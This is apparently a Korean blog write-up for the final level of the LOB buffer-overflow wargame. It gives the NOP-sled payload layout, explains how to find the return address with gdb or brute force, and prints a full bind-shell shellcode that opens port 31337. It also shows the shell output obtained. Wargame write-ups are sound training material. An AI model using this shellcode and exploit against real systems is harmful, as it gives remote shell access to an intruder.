문제소스
payload = nop*44 + ret + nop*100 + shellcode
ret는 brute forcing 이나 로컬에서 gdb로 buffer의 시작주소를 알아낸뒤 (44+4+100) 를 더한 값으로 진행해도 됨.
shellcode
(31337 로 쉘 바인딩)
char bindshellcode[] =
"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"
"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"
"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"
"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"
"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"
"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"
"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"
"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
result
id;
uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)
: command not found
my-pass;
euid = 520
got the life
'Wargame > LOB(끝)' 카테고리의 다른 글
death_knight (end) (0) | 2015.04.04 |
---|---|
nightmare -> xavius (0) | 2015.04.03 |
succubus->nightmare (0) | 2015.04.03 |
zombie_assassin -> succubus (0) | 2015.04.02 |
assassin -> zombie_assassin (0) | 2015.03.31 |